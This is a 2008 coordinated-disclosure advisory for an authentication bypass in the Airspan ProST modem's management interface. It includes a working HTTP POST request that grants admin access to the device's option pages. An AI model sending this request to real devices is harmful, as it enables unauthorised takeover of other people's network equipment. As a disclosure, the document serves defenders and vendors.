airspan-bypass.txt

`Topic: Airspan ProST Modem Management Authentication Bypass Vulnerability  
Announced: 2008-03-13  
Product: Airspan ProST Antenna  
Vendor: http://www.airspan.com/  
Impact: Remote shell access  
Affected product: Airspan ProST with firmware < 6.5.40.0, Hardware rev < 4.1  
Credits: Francis Lacoste-Cordeau  
  
I. BACKGROUND  
  
Airspan is a worldwide leader in broadband wireless with over 400 customers  
in more than 100 countries. As a founding member of the WiMAX forum, Airspan  
has led the way in WiMAX, being among the first wave of companies to achieve  
certification for its Base Station and End User Devices.  
  
http://www.airspan.com/  
  
II. DESCRIPTION  
  
Remote exploitation of an authentication bypass vulnerability in Airspan ProST  
Modem management allows attackers to access all options available in administration panel.  
  
This issue is due to a failure of the application to properly handle access validation  
functionality. The access gained through this issue grants admin privileges.  
  
III. EXPLOITATION  
  
The attacker have to craft a malicious request.  
  
Example:   
POST /process_adv/ HTTP/1.1  
Host: 10.0.0.1  
Keep-Alive: 300  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 22  
  
DialogText=&Advanced=1  
  
  
It will display options page number #1, which is Software Download for Firmware upgrade.  
You can increment 'Advanced' value to see others options.  
  
  
IV. WORKAROUND  
  
There's actually no workaround of this issue.  
  
V. VENDOR RESPONSE  
  
Airspan has addressed this vulnerability and will fix this problem with a firmware update.  
  
VI. DISCLOSURE TIMELINE  
  
15/10/2007 Initial vendor notification  
16/10/2007 Initial vendor response  
13/03/2008 Coordinated public disclosure  
  
VI. CREDIT  
  
Francis Lacoste-Cordeau([email protected]) is credited with discovering this vulnerability.  
`